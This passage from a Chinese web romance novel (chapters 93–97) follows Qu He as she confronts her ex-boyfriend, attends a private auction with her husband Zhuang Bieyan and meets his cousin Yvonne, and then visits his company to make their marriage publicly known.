本以为他会帮乔眠说两句,可钱昭野的目光始终在曲荷身上。
可曲荷却一眼都没看他。
他说:“抱歉,是我们撞到你了。”
乔眠:“你道什么歉?明明是她.....”
乔眠不爽,还想撒泼,却被
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钱昭野冷呵打断,“够了!”
被他这么一吼,乔眠不情愿闭了嘴,可在看向曲荷的眼底却闪过一丝恶毒。
曲荷根本不想搭理他们,拉起司月径直往外走。
乔眠那双眼睛让她很不舒服,心慌得厉害。
吃饭的时候司月一边翻着烤肉,一边皱眉嘀咕:“学姐,你不觉得乔眠那双眼睛特别眼熟吗?”
曲荷其实也有这种感觉,很怪异。
司月说:“真的很熟悉,就感觉我好像刚刚见过一样。”
曲荷看她一脸纠结的样子,笑了,“那你现在过去把她口罩摘下来仔细看看?”
司月:“算了吧,见到他们可不是什么好事,晦气!“
曲荷倒是没想到刚听司月说完这句话,她又见到了钱昭野。
午饭吃完出来后,司月去上卫生间,曲荷在外面等他。
她正在看手机上庄别宴发来的消息,手腕突然被人拉住。
那人的手劲很大,曲荷还没反应过来,就已经被拉到了拐角后的走廊里。
立柱挡着入口方向,两人站的位置正好是死角。
在看清来人脸后,曲荷拿起手上的包砸了过去,包带上的金属链条甩在他胳膊上,东西丁零当啷掉落一地。
“钱昭野你疯了?你想干什么!”
她扭头朝外跑去,可钱昭野似乎早已预料到她的动作,大步一跨就把她拦下。
他看着面前怒气冲冲的人,心里一阵酸涩。
自从知道曲荷跟庄别宴结婚后,钱昭野就感觉心里空落落的,像是有什么重要的东西丢失了。
他也终于意识到,曲荷不会再回来了。
可内心那股不甘却一直藏在心底,这些天他每天都住在公司,借着工作来麻痹自己,可一切都在刚才见到她的那瞬间崩塌了。
钱昭野的声音带着几分疲惫,“阿荷..我..”
曲荷后退一步,“别这么叫我,我们不熟。”
钱昭野一脸苦涩,想摸她的脸,却被曲荷扭头躲开。
他眼底的翻涌着偏执,“能不能别这么对我,我们的七年你都忘记了吗?好好谈谈行吗?”
曲荷不做声。
钱昭野呼了一口气,“庄别宴他对你好吗?”
曲荷依旧沉默。
钱昭野快被逼疯了,哑声祈求:“阿荷你打我,骂我都行,能不能跟我说说话?”
曲荷听到这句话,终于转过头看了他一眼。
钱昭野眼睛亮了一下。
可下一秒,一巴掌就落了下来。
第93章 庄别宴的白月光(上)
钱昭野脑袋都是懵的,脸上火辣辣疼。
曲荷甩了甩了手,看着他极力克制而握拳的手,嘲讽道:“怎么?这不是你要求的吗?这是最后一次,再有下次,我就报警!”
说完,她就捡起地上的包和掉落的东西,转身离开。
“你以为嫁给庄别宴是一件好事吗?”
钱昭野在她身后嘶吼,“他们这样的人最虚伪!现在能捧着你对你好,以后就能把你贬得什么都不是!他都是骗你的曲荷!”
曲荷没回头,也没停下。
钱昭野追了上来,歇斯底里地喊:“曲荷!如果庄别宴知道你和方乾名的事,你觉得他还会原谅你吗?他还会要你吗?”
曲荷停下脚步,慢慢回头。
钱昭野自以为终于拿捏住了她,眼里闪过一丝得意。
他快步上前,“阿荷,世界上只有我才是最爱你的,只要你能回来,我什么都可以不介意。”
曲荷回头,看着他一副假装深情的样子,无语笑了。
“你倒是提醒我了,还有这笔账没和你算。”
钱昭野没想到她会是这个反应。
“你就不怕吗?不怕庄别宴知道这事后和你离婚?你们可是到现在都没上过床!他迟早会发现的。”
曲荷脸上没什么表情:“你躲我们床底下了?”
钱昭野:“...”
曲荷:“我和我老公幸福得很,各方面都是!用不着你操心!”
钱昭野急了。
纵然知道他们结婚后一定会发生关系,但听到这样的话,心里还是难受。
他更没想到,庄别宴居然真的不介意!
怎么可能!
怎么会有男人不介意这种事!
曲荷已经不想理他了,扭头就走。
钱昭野看她快出去了,喊道:“那你呢?难道你就不介意庄别宴有白月光的事?”
曲荷脚步顿了下。
钱昭野捕捉到她这一秒的停顿,眼底闪过一抹亮光。
他上前靠近了一点,“我也是在偶然才从别人那里听到的。你既然已经和庄别宴结婚,那一定也认识郁汕吧。”
钱昭野自顾自说着,尽管曲荷背对着他,但他知道她肯定在听。
“有次在酒会上,郁汕酒后喝多了,说漏了嘴。他说庄别宴其实一直有一个白月光,藏了很多年。阿荷,庄别宴根本就不像你看到的那么简单!这件事他肯定没有告诉过你吧。”
他说着,手试探性地就快搭上她的肩。
可就在碰到前一秒,曲荷转身回头,一把打掉了他的手。
她的表情和自己预料的不一样,没有惊慌,更没有受伤,而是一脸淡定。
钱昭野一下子愣住了。
他慌了下,语速不自觉加快,“阿荷,我不相信你一点都不介意!”
“难道你就不想知道他心里那个人到底是谁吗?还有他在英国那么多年到底是为什么!庄别宴他...”
“够了!”曲荷打断他的话,冷冷看着他,“这是我的事,与你无关!”
“你以为随便这样编排两句我就信了?我们夫妻之间的事和你这个外人无关!我老公有没有白月光的事我比你清楚!”
钱昭野几乎破口大喊,“我不相信!”
曲荷却连一个眼神都懒得施舍给他,快步离开了。
不远处的立柱后方,乔眠站在橱窗前,看着曲荷离开的背影气得狠狠攥拳。
“妈妈你看,这个大肚子姐姐的脸看起来好吓人!鼻子上好大一块疤啊!”
旁边经过的一个小男孩指着乔眠说。
男孩妈妈顺着他手指的方向看了眼,在乔眠看过来后赶紧尴尬的捂住他的嘴巴,连声道歉后抱着孩子离开了。
乔眠在听到男孩说的话后,心下一惊。
一个抬眼看到了橱窗玻璃上的自己,她像是被烫到般赶紧从包里找出口罩带上,把下半张脸遮得严严实实,只留下一双满是怨恨的眼睛。
咖啡店玻璃窗倒映着自己失神的瞳孔,在听到对面司月的声音后,曲荷才回过神。
纵然她再自我催眠,可还是无法骗过自己的心,不能否认,她还是被钱昭野那句话带偏了。
庄别宴的白月光?
这个念头一旦出现,就再也挥之不去!
其实她不是没想过这件事,只是一直没往这方面想过而已,今天被钱昭野这句话一下子点通了。
从前那些她不在意,被忽略的细节一下子浮现。
她想起有一次,在帮庄别宴系领带的时候
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发现他的每条领带内侧,都会有一个相同的燕子暗纹刺绣图案。
这个燕子暗纹刺绣图案和他的微信头像燕子图一模一样,一看就是出自手绘,笔迹稚嫩,像是小孩子画的。
曲荷一开始怀疑过可能是庄禧,但她在看过庄禧的画后打消了怀疑。
这个燕子,究竟对庄别宴有什么意义?
还有那场烟花,为什么他生日一定要看烟花,是有什么特殊意义吗?
想起生日那天,她为他准备的那场烟花,曲荷心酸了下。
那晚上,庄别宴眼里的惊喜,究竟是因为她准备的这份礼物,还是因为透过了那场烟花,看到了另一个人的影子?
从刚才从卫生间出来后,司月就觉得曲荷怪怪的,一整个心不在焉。
“学姐,怎么了?”她隔空挥了挥手。
曲荷看向她,想了想,把刚才钱昭野说的那些话转述给她听。
司月听得瞪大了眼,差点咬到自己的舌头。
“什么?钱昭野那个渣男刚才来找你了?”
“什么?庄别宴有白月光?”
曲荷把蛋糕盘子往她前面移了移,无力点点头。
司月托着自己的脸,眼珠子转的飞快。
“让我捋捋,给我两分钟。”
她说着,拿起勺子切了块蛋糕送到了嘴里,吃了几口后,放下勺子。
“我算是明白了,所以学姐你现在想知道的就是庄别宴到底有没有白月光,以及那个燕子刺绣暗纹究竟有什么意思,对吧。”
曲荷不知道该怎么回答。
她总感觉好像有些事没必要知道得太过清楚,毕竟她好像不应该太过于追究庄别宴的过去,可是....
“我也不知道,就是心里不太舒服。”她说。
司月了然点头,“那就是想知道了。”
曲荷:“...”
啊?她是这个意思吗?
司月已经进入了军师状态,大手一挥:“这个问题非常简单,很好解决。”
曲荷起了兴趣,上半身往她那边靠了靠,带着几分她自己都没察觉到的急切:“有什么办法啊?”
其实她也不是说非要一个答案,但如果真的有办法能非常简单的就解惑,那..试一试也无妨。
第94章 庄别宴的白月光(下)
司月吃下最后一口蛋糕,继续说:“直接问啊!学姐你直接去问庄总,他肯定会告诉你的呀。”
在司月刚才吃蛋糕的那几秒里,曲荷想过很多她可以说出的办法。
暗中观察,旁敲侧击,甚至连**调查都想到了,可偏偏没想到,司月给出的方法这么...朴实,且直接。
曲荷:“啊?直接问?”
司月:“对啊!还有什么比当事人还了解情况的呢?按照庄总对学姐的态度,你问了,他肯定会告诉你的。”
曲荷嘴角抽了下。
还真是..狗头军师啊。
这话说得她无言以对。
她就纯多余把希望寄托在她身上。
但仔细想想,她说的,好像也不无道理。
吃完蛋糕后,两人分别,上车后司月还不忘扒着窗户叮嘱曲荷回家别忘记问庄别宴。
到了家,上专业的礼服造型团队已经等在门口。
接下来几个小时,曲荷感觉自己变成了一个洋娃娃。
又是试衣服,又是试妆容造型,短短几个小时,她感觉试的衣服比一个礼拜穿的还多。
直到最后一件裸色抹胸长裙上身个,大家才满意点头。
送走人后,曲荷累瘫在沙发上,看了眼时间,已经快五点半了。
夕阳沉入天际。
庄别宴回家就看到了躺在沙发上昏昏欲睡的人,眼睛已经快闭上,手还不受控制在屏幕上划着。
他无奈笑了笑,轻手轻脚上前,从她手里抽走手机。
刚把她抱起走向卧室的时候,曲荷就醒了。
“你回来了?”她声音带着几分浓浓的睡意,迷迷糊糊的。
“嗯。”庄别宴看着她惺忪的眼睛,“下午很累?”
曲荷点头,“试了好多衣服。”
庄别宴在她额头亲了下,“是我考虑不周。”
曲荷被放倒在床,她感觉自己变成了一个水煮蛋,外壳在一点点被剥掉。
她打了个哈欠,睁开眼才发现,自己的衣服已经快被庄别宴剥得差不多了。
好吧,原来她还真是个水煮蛋。
庄别宴看她清醒了些,手上的动作慢了下来,“先洗个澡吧,我约了餐,马上就到。”
曲荷点头。
下一秒,一个天旋地转,就被打横抱起进了浴室。
“干嘛?不是要洗澡?”
“一起洗,节省时间。”
曲荷:“....”
信他才怪。
浴室水花声啪啪响起,时不时夹杂着几声模糊的呜咽和低沉的低吼。
“可以了!庄别宴,我要掉下去了,不要了..”
“马上就好,乖,马上...”
夜幕低垂,繁星初上。
曲荷被抱着从浴室出来放在床上时,浑身酸软。
她忍着难受,**似的抬脚踢了下旁边的男人。
庄别宴结结实实挨了这一下,笑着顺势把她搂得更紧,熟练地帮她揉着腰。
曲荷在他怀里找了个舒服的姿势窝着。
“要吃饭吗?我拿进来?”庄别宴问。
“等会一起出去吃吧。”她懒懒回答。
“好。”
曲荷享受着难得的宁静,可脑袋却一团乱麻。
那些关于白月光和燕子的问题,似野草疯长。
庄别宴低头看着趴在怀里蹙眉的人,从刚才他就察觉到她的心不在焉了。
“今天有发生什么事吗?”
他只是象征问了句,如果曲荷不说,他自己也可以去查。
曲荷愣了下,想起了司月说的那句话,犹豫开口,“我今天,碰到了钱昭野。”
庄别宴手上动作顿了下。
曲荷简单说了下当时情况,但刻意掠过了白月光的那部分。
“他一直以为,那天晚上的人是方乾名。”她最后说了句。
庄别宴沉默片刻,收紧手臂,无比认真说:“阿荷,谢谢你肯告诉我。”
他心里涌动着几分慰藉,至少曲荷肯把这些事告诉他,那是不是表示两人之间的信任多了些。
她也在试着和他敞开心扉,在向他展示自己的小世界。
曲荷调整了下姿势,抬头看他,张了张嘴,问:“那你呢,庄别宴?你有没有什么事情瞒着我的?”
“没有。”庄别宴回答得很快。
他搂着她贴向自己,下巴蹭着她的发顶,“为什么突然这么问?”
曲荷贴着他的胸口轻轻摇了下头,压下情绪:“就是突然想到,随便问问。你没有瞒着我
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就好,我最讨厌别人骗我了...”
她藏起了所有情绪,一心准备着第二天的慈善拍卖会。
隔天傍晚,黑色迈巴赫缓缓开进了九月路。
九月路两侧种满了法国梧桐树,绿荫遮住了蓝天,而路尽头那幢白色小洋房,就是今晚拍卖会的目的地。
这幢小洋房历史悠久,从不对外开放。
从前曲荷只听说过这幢小洋房每月都会举办一次私人拍卖会,每次最后的压轴拍品都会以天价被拍下,而能踏入这里的,非富即贵。
她却没想到自己有一天会来到这里。
从靠近小洋房的三条街外开始,就已经实施安保防控,设置了好几道关卡。每个路口都能看到穿黑西装的保安,金属探测仪和警犬检查着来往每一辆车。
唯有他们的车畅通无阻,直接开到了小洋房门口。
保安见到他们的车,恭敬地拉开大门。
雕花铁艺大门缓缓打开,又缓缓合上。
小洋房一共三层,内部是复古的巴洛克风。
进门就能看到一副巨大的鎏金油画,悬在头顶的水晶灯光芒璀璨,宛如白昼,脚下的手工编织地毯厚得吸走了所有的脚步声。
两人跟着侍应生到了三层VIP等候室包厢,这一路上,曲荷总感觉有一双眼睛在盯着她,她莫名觉得有点不安。
包厢内设施豪华,正门对面就是一面单向玻璃,能看到楼下的拍卖大厅全景,私密性极佳。
两人刚坐下休息没多久,就有人敲了敲门。
一名穿着黑色西服打领结的男管家走了进来,躬身道:“别宴少爷,主家请您过去。”
庄别宴颔首。
曲荷疑惑地看了他一眼。
主家?
别宴少爷?
这时,庄别宴起身朝她伸手,“走吧。”
曲荷一愣,默默牵住他的手。
刚走出包厢门,一道带着异国口音的女声从身后响起:“Hey,Arthur!”
曲荷下意识回头,看到了一个穿着抹胸黑裙的女人正笑意盈盈地看着庄别宴,眼神亲昵无比。
过了好一会儿,她好像终于注意到了他身边的曲荷,那双含笑的眼眸瞬间闪过一抹好奇和审视。
第95章 宣示**
曲荷看着女人,女人也看着她。
她一头金色大波浪,眉眼深邃,带着几分明显的欧美血统,眸子是和庄别宴一样的琥珀色。
曲荷自认为自己不矮,也有167,但和她相比,还是矮了半个头。
她一身黑色裙摆开叉到大腿,脖子上那颗宝石和耳环上镶嵌的那颗款式相同,一看就价值不菲。
视线下移看到那抹傲人的曲线后,曲荷不自觉收回目光低头看了眼自己的胸,默默挺直了后背。
庄别宴和她介绍,语气淡淡,“Yvonne,伊念舒,伊重华的孙女。”
曲荷挑了下眉。
刚才庄别宴有和她说过,这幢小洋房的就姓伊。
Yvonne踩着高跟鞋缓步走上前,目光肆无忌惮地落在曲荷身上,从头到脚仔细打量。
看着看着,她突然意味深长地笑了笑。
曲荷不明白她这抹笑的意思。
正疑惑,Yvonne已经看向庄别宴,“Arthur,不介绍下这个可爱的女士?”
庄别宴搂住曲荷的腰,往身边带了带,带着几分占有欲:“我的妻子,曲荷。”
“wow,wife?”Yvonne夸张地眨了眨眼,笑着和曲荷打了声招呼。
曲荷正想回应,她就突然倾身凑了过来,她只觉得眼前一白,一个没注意,胸都快杵她脸上了。
“曲荷,youlooksbeautiful。”
“额..谢谢,哦,thanks。”
曲荷被她这突如其来的亲昵弄得愣了一下,没搞懂她这一出。
她下意识往后缩了缩,“你也是。”
Yvonne被她的反应逗笑了,戳了戳她的酒窝,用着一口不怎么流利的中文说,“Arthur对你好吗?如果对你坏的话,欢迎来出轨我哦。”
曲荷:“....”
这话,也太直白了。
“Yvonne!”
庄别宴脸色一沉,把曲荷拉到身后,挡在两人中间,警告:“曲荷是你嫂子。”
Yvonne一脸无所谓,随手拨弄了下头发顺便给曲荷抛了个媚眼,“whocare。”
她探头看着曲荷说,“honey,你知不道我和Arthur是小时候的未婚妻吗?”
事实证明,语序并不影响理解。
曲荷还是听懂了。
庄别宴和Yvonne订过婚?
但为什么听刚才他说的话,他们之间还是兄妹?
这么错综复杂的豪门关系吗?
庄别宴一听到她的话,脸色沉了几分。
就在这时,有人过来提醒拍卖会即将开始。
庄别宴立刻拉着曲荷回了刚才的VIP包厢。
Yvonne在后面和她挥手再见,曲荷刚想挥手,就被庄别宴抓着进了包厢。
门关上,他一个反手把曲荷抵在门背后,“以后离她远点。”
曲荷抬眼睨了他一眼,故意拿话刺他:“怎么?我这个庄太太和你的未婚妻同时出现,你慌了。”
她其实早就看出来Yvonne对庄别宴没那意思,但这句话也不知怎么就说出来了,连她自己都没发现这话酸得很。
庄别宴无奈叹了口气,姿态放得很低,耐心哄:“我和她没有任何关系。阿荷,我不信你没看出来她对你有想法。”
曲荷哼了声,偏头:“那又怎么样?这么漂亮的女孩子谁不喜欢,我不仅喜欢,我还想抱她,亲她...”
“不行。”
话还没说完,就被打断。
庄别宴搂住她的腰贴向自己,“你是我的!”
“是吗?”曲荷故意拉长语调。
“可我看你们一个Arthur,一个Yvonne,听上去很般配啊。”
庄别宴低头,目光灼热:“可是我觉得,iris才和我最配。”
他顿了下,缓声道:“斯人如彩虹,遇上方知有。”
听到他的话,曲荷脸一下子烫了起来。
iris是她的英文名,是彩虹的意思。
她下意识想躲开他的目光,可庄别宴却捧着她的脸,让她无处可逃。
透过琥珀色的小镜子,曲荷看到自己无措的模样,还有他眼底化不开的欲望。
曲荷强压下情绪,装作不在意伸手把他推远了些,径直走向落地窗。
楼下拍卖大厅第一个拍品已经上了,是一颗粉宝石,成色一般。
曲荷看了眼就收回了视线,语气凉凉:“可别了,Arthur先生。我什么也不知道稀里糊涂就跟着你到了这个地方,谁知道你想干什么。”
庄别宴走上前抓住了她的手,带着她坐在沙发上,诚恳道歉:“是我的错,并非是想瞒你。”
他简单花了几分钟解释了下今晚带曲荷来这里的原因。
“伊重华是我的外公。”
听到这话,曲荷并没有多少震惊,从刚才他说的那句“她是你嫂子”,再看到Yvonne那双琥珀色的眸子后就有了猜测。
庄别宴继续说:“外婆年轻时和他相爱,可在结婚前他却娶了家族安排的联姻对象。后来外婆怀着妈妈嫁给了我名义上的外公。”
“伊重华一直宣称自己当时有多无奈,有多后悔,可我却看不出来。他甚至还妄想让我和Yvonne订婚,好让我回到伊家。”
曲荷惊讶:“可你和Yvonne是有血缘关系的啊。”
庄别宴嘲讽笑了笑:“是啊,所以才说他疯了。”
“那你今天来这里是?”
“来拿回我妈妈的画。”
庄别宴看向一楼大厅的进门口。
“进门那幅落地画是妈妈最后一幅作品,它可以出现在任何地方,唯独不能出现在这里。”
他看向曲荷,“伊重华答应我只要我今天肯来,那这幅画就能让我拿走。阿荷,我带你来的目的,就是让他知道我已经结婚了,有了自己认定的妻子,和他伊家不会再有任何关系。”
曲荷:“那这种事你告诉我不就行了。”
庄别宴:“这种陈年旧事说了反而糟心,本来就是想带你来玩的,不想让你被这些事影响心情。”
他抱着曲荷,一脸温柔。
他的阿荷不需要知道这些事,永远开心
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明媚就好,所有的风雨和阴暗他一个人扛就够了。
曲荷在他怀里蹭了蹭,突然抬头,掐着他的下巴晃了晃,“庄别宴,你以后别瞒我了。你总说让我有事都和你说,那你也一样,我们可以一起分担的。”
庄别宴心里软得一塌糊涂,亲了亲她的额头,“好。”
他眼珠子转了圈,嘴角弯起一抹狡黠。
“不过说起来,其实今天还有件事确实没如实和你说。”
曲荷挖了口甜品,头也不抬问了句:“什么事?”
庄别宴一脸真诚说着:“今天带你来除了是让伊重华死心,但更重要的,是想让所有人知道你是我的妻子。”
听到他的话,曲荷手一抖,奶油蹭到了鼻子。
庄别宴抽了张纸帮她擦掉。
“我结婚的消息在圈子里不算秘密,但是也让一些居心不良的人多了借口。每次都变着法塞人,恨不得亲眼看到我出轨,传的谣言不断。”
“什么谣言。”
庄别宴叹了口气,带着几分委屈:“阿荷,他们私下都在传我们夫妻关系不和谐,说我从来没带你出现在公共场合,说结婚只是我自导自演,还说我们迟早...”
曲荷下意识接上他的话,“会离婚?”
可刚说完就被庄别宴抓着手碰了三下旁边的木桌。
他皱眉,“阿荷,这话别再说了,我听不来。”
“你还有这迷信的时候?”
“宁可信其有。”
曲荷看着他一脸委屈的样子,好像都能看到他头顶耷拉的狗耳朵了,他刚才这些告状的话,是从哪里学来的。
“那今天你不是带我来了吗?以后肯定不会有人再说了。”
“还不够!”
曲荷不解地看向他,“那还要怎么样?难不成要在每次你出去谈合作的时候,我都要打一个查岗电话?然后隔三岔五去你公司看看有没有什么妖艳小三想爬你的床,顺便秀个恩爱,宣示一下**?”
她只是随口调侃,可却看到庄别宴的眼睛逐渐亮了起来。
“...额,你不会当真了吧?”曲荷心下一慌。
庄别宴认真思考了一下她的话,郑重回复:“我觉得,可以。那些人就是笃定了你不在我身边,才敢这么放肆。”
曲荷:“.....”
谢邀,婉拒。
现在收回刚才的话,还来得及吗?
可显然,庄别宴却不给她反悔的机会。
晚上,浴室里的灯亮到了后半宿。
水声哗哗,没有停的意思。
沐浴露的茉莉花香混着水汽,氤氲又暧昧,让人头脑发沉。
曲荷在庄别宴的肩膀上咬了口,“我想睡觉了。”
搂在腰上的手臂紧了紧,庄别宴蹭着她的脖颈侧,压低声音:“好,那阿荷到底答不答应?”
曲荷没作声,她想反抗。
可那声拒绝却没有说出口的机会。
最后,曲荷还是在他的半哄半骗中,无奈被迫答应了明天去他公司“宣誓**”。
听到她的回答,庄别宴得逞地笑了笑。
空气里的暧昧再次升温。
第96章 亲亲我
对于到底怎么个宣誓**法,昨晚睡前,曲荷有问过庄别宴。
他当时一脸神秘,只说:“不急,等我暗号。”
暗号?
他们是什么史密斯间谍夫妇吗,有必要吗?
荷月坊里,司月看着从早上开始就一直拿着手机的曲荷,还是没忍住走了过去。
“学姐,你是在等什么重要消息吗?”
“没有啊。”
司月在她对面坐下,“这都快中午了,你从早上开始就一直在看手机,我看你的魂都快被手机吸走了。”
曲荷被戳破了心思,在她真诚的双眼下,把昨天在拍卖会上的事都和她说了。
可司月听完后,重点全然不在那些豪门秘闻上,只是惊讶:“所以,学姐你最后还是没问庄总那个白月光和燕子图案的事情?”
曲荷心虚摸了摸鼻子。
司月一副恨铁不成钢,“我的学姐啊,你难不成就打算一直不问了,然后自己暗戳戳地胡思乱想,吃醋?”
曲荷飞快反驳,“谁吃醋了,我没有。我只是觉得..都是过去的事,没必要问。”
司月逼问:“还嘴硬?”
曲荷坚持,却底气不足:“我没有。”
司月语气笃定,一针见血:“你就是在吃醋,你就是喜欢上庄总了!”
曲荷这次拒绝的声音更响了,“我不是,我没有!”
司月手指着她,声音比她还大:“看看看!学姐你心虚的时候就会摸鼻子!我太清楚了!”
曲荷赶紧把手背到身后,声音又高了一个度,试图用音量掩饰心虚:“我没有,你看错了,我只是鼻子痒。”
两人你一言我一语,到最后,已经变成了比谁嗓门大的游戏。
气氛焦灼的时候,曲荷的手机消息提示音响了一下。
她拿起手机看了眼,是庄别宴发来的消息。
【书房桌上的文件袋可以帮我送来公司吗?】
曲荷一下子就明白了,原来这就是他的暗号。
她很快回复:【好的,我现在给你送过来。】
庄别宴:【谢谢太太。】
后面还跟了个比心小兔的表情。
看着那个小兔子表情包,曲荷嘴角止不住上扬,可就在这时,一面小镜子突然伸到了她面前。
司月拿着她补妆的小圆镜,递到了她面前,斩钉截铁:“学姐,证据摆在这里!你照镜子看看你都高兴成什么样了?这不是喜欢是什么?是庄总发来的消息吧?”
曲荷愣愣地看着镜子里的自己,上扬的眼角带着明显的笑意,还有嘴角那抹弧度,藏都藏不住。
她刚才..真的这么开心吗?
难道司月说的是真的?她真的....
不会不会,没有没有。
她敛起情绪,把镜子丢到她怀里,“你看错了,我只是天生爱笑而已,和庄别宴没关系。”
司月一副“我才不信”的表情,抱着手臂看着她。
“学姐你知道吗?我其实很久没见你这么开心了,自从你和庄总在一起后,我能感觉到你是发自内心的开心,整个人的状态都在慢慢变好。”
司月语重心长说着,“大家总说好的伴侣是生活的解药,可以解一半人生疾苦。上一段背叛让你不敢再轻易敞开心扉,我完全理解。但是...”
她认真看着曲荷眼睛:“但是,我真的感觉庄总不一样。学姐,你应该听一下自己心的声音,别让过去的影响,挡住了眼前的光。”
司月说的每一个字曲荷都听进去了、
她不能否认,钱昭野带来的背叛和创伤依旧还在,但同样也不能否认,那段伤痛在逐渐被庄别宴的温柔和耐心悄悄治愈。
曲荷好像真的听到自己血肉在重塑疯长的声音。
但,她真的做好准备了吗?
真的准备好再次全身心地信任一个人吗?
曲荷不知道。
司月看着她陷入沉思,没有打扰她,默默去了旁边。
到了庄氏大楼,曲荷脑子里还是司月说的那些话。
直到谭聪一声“太太”把她叫回神。
曲荷被他带着上电梯,在去往会议室的路上,收获了不少灼热和打探的目光。
她想着宣誓**的目的应该达到了吧。
到了会议室门口,她把文件交给谭特助,“这是庄别宴要的文件,辛苦谭特助你交给庄别宴。”
谭聪接过:“好的。庄总刚才特意吩咐说要带您参观一下公司,我已经安排好了人。”
曲荷:“....”
她想吗?
她咬着后槽牙点头,“好,那辛苦你了。”
谭聪叫来了秘书部的一个女同事陪同,末了,像是怕她误会似的,还不忘当着大家的面说了句:“太太放心,秘书部员工都是已婚的,家庭幸福。”
这话一出,周围的目光更热闹了。
曲荷:“....”
她看起来很想知道吗?
庄别宴不会真的把她昨天说的查岗的话听进去了吧。
不!她其实一点都不想知道别人的婚姻状态。
曲荷被迫主动地参观了一圈庄氏大楼,每到一处那个女秘书都会介绍“这是庄太太”。
从开始的拘束不自在,到后来曲荷已经能脸不红心不跳地回应那些和她打招呼的人,甚至还会补充一句“大家都辛苦了。”
电梯门开,新的一层楼到了,曲荷已经累了但还是条件反射微笑,刚抬眼就看到了门外站着的庄别宴。
曲荷看了眼楼层数字,这是回到了顶层?
庄别宴上前牵着她手,“逛累了吧,回我办公室休息一会。”
他带着她回了办公室坐下,又给她倒了杯水,“阿荷辛苦了。”
曲荷一口气喝了大半杯,最后重重把杯子往桌上一放,双手环胸,质问:“我什么时候说过我要参观庄氏大楼了?”
庄别宴脸上没有认错的态度,靠着她坐下,“阿荷昨天不是答应我了?”
曲荷往沙发边上挪了一步,两人距离拉开了半臂。
“我什么时候说了?我只是答应你来这里宣示**而已。不是已经给你送文件了吗?”
庄别宴追着她挪了过来,追逐一触即发。
沙发纵然再大,可几个追逐来回下来,曲荷后背就抵到了扶手,她再无退路。
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下一秒,庄别宴大手一捞,把她搂进怀里。
“这也是宣示**的一部分,让整个公司的人都见到你,认识你。”
“你...”
曲荷自知理亏,没话说。
庄别宴看着她气鼓鼓的表情,宠溺笑了笑,另一只手撑在沙发外侧护着她,“阿荷,我现在很想亲你。”
他刚才通过监控看着她在自己的地盘上,被大家尊重认可,内心的满足欲不断攀升。
曲荷:“....嗯?”
她都快怀疑自己是不是失忆了,不然庄别宴的话题怎么跳得这么快?
曲荷偏过头,是拒绝的意思。
庄别宴却不罢休,追着她吻了下来,蜻蜓点水的一个吻落在她唇角。
曲荷往后缩了缩,他往前凑。
最后她的上半身腾空仰在了半空中,庄别宴单膝跪在沙发上,托着她的腰。
曲荷双手在后反撑着沙发,看着越来越近的人,心跳不自觉加快。
庄别宴俯身而下,亲了下她的脖子,然后一路往上,先后落在她的耳后和脸颊,最后在她唇上轻轻一碰。
分分合合亲了好几次,每次曲荷都会左右摇头,他的吻几乎只能落在唇角或脸颊。
这欲拒还迎的躲避,反而成了种无声的邀请,庄别宴的呼吸逐渐逐渐急促,低头在她耳边低语了几句。
曲荷脸爆红,想推开他但又怕自己掉下去,只能用小腿踢他,“你疯了?这是在办公室。”
庄别宴咬了下她红透的耳垂,声音沙哑:“那你亲亲我,亲了我就不闹了。”
灼热的气息碰在颈侧,眼看他的手马上伸进下摆,曲荷借着他的手臂力道挺了下身,主动凑了上去。
飞快地在落下一吻。
可庄别宴却不满足,搂着她加深了这个吻。
直到曲荷喘不过气,推了他一下,他才松开,最后任由她趴在自己怀里。
庄别宴搂着她很紧,透过胸膛感受着她起伏的呼吸,整颗心都是满的。
这时,传来一阵敲门声,谭聪的声音响起,“庄总,下半程会议该开始了。”
曲荷猛地抬头看向他,惊讶道:“你会还没开完?”
庄别宴没回答,盯着她红透的唇瓣,心下一动,抬着下巴又亲了下来。
“那你快去开会。”曲荷推他。
庄别宴置若罔闻,一门心思都在亲她上面。
“完了,那我们两个在办公室里呆这么久,外面指不定传成什么样了。”
曲荷眉毛都快皱成一团了,可庄别宴还是只顾着亲。
他咬着她脖子的力道重了些,曲荷没忍住吃痛嘶了声,踢了他一脚。
庄别宴听到她抽气的声音才停了下来,小心地扒开她领口,果然看到了那里留下了一处明显的红痕。
“对不起,我没忍住。”
他嘴上说着道歉,怜惜地摸着那抹印记。
但心里却丝毫不这样想。
看着她脖子上的这个红痕,他的眼底翻涌着毫不掩饰的占有欲,这是自己独有的印记。
庄别宴心里甚至透出了隐秘的满足感,那些阴暗的想法蠢蠢欲动。
第97章 过来,吻我
曲荷自然也看到了那个印记,瞪了他一眼,“你这样让我晚上怎么见人?”
她尝试着把衣领往上拉了拉,幸好勉强能遮住。
庄别宴听到她的话,皱眉,“晚上?你要去见谁?”
“时安哥。”
“什么?”
“诶..你干嘛!”
好不容易整理好的衣领被他这么一拉,那点痕迹又露出来了。
庄别宴幽怨地看了她一眼,帮她拉好衣领,酸溜溜地说:“周时安约你做什么?他还不死心?”
曲荷没好气地捶了他一下,“你别阴谋论,还有齐墨老师一起。”
中午的时候周时安给她发消息,说齐老师昨天从英国的飞机刚落地,想见她一面。
曲荷心里隐隐有一种预感,但她不敢去想。
不抱期待才不会失望落空。
“晚上什么时候结束?我来接你。”
“好,我到时候给你发消息。”
庄别宴玩着她的手指,忽然想到什么,话里酸意更浓:“阿荷,周时安才比你大了几个月?你就叫他哥哥?”
曲荷不以为然,“我从小就是这么叫的啊?”
他突然凑身,碰着她的鼻尖:“那我呢?我好像从来没听你叫我过阿宴。”
“你叫我一声好不好?”
曲荷偏头,“不要。”
他带着她的手放在嘴边亲了下,低声诱哄:“阿荷,叫我一声,求你。”
外面的敲门声响了好几次,曲荷被他磨得没办法,又怕耽误他开会,只好小声喊了句:“阿宴。”
庄别宴瞬间笑了,开始得寸进尺,“还有呢?”
还有什么?
曲荷看着他含笑的眼睛,脑袋一闪而过那个称呼,“你...”
庄别宴晃了晃她的手,哄着她,“阿宴什么?把后面两个字说出来。”
那后面两个字曲荷是怎么也喊不出来了,摇头:“不要。”
庄别宴不依不饶,调侃道,“阿荷是不知道叫什么?还是不会?”
曲荷没作声。
“那看来,我只能晚上亲自教你了。”
曲荷一听就知道他打的是什么主意,刮了他一眼,只是落在庄别宴眼里却成了害羞的娇嗔。
......
夜风****。
曲荷从望江阁出来,脚步有些飘,差点撞到门口的柱子。
幸好周时安在旁边扶了她一把。
他一脸无奈:“你刚才不该喝这么多的。”
曲荷抬起头,声音上扬:“时安哥,我很开心啊。你知道吗?我终于弥补了当年的遗憾!”
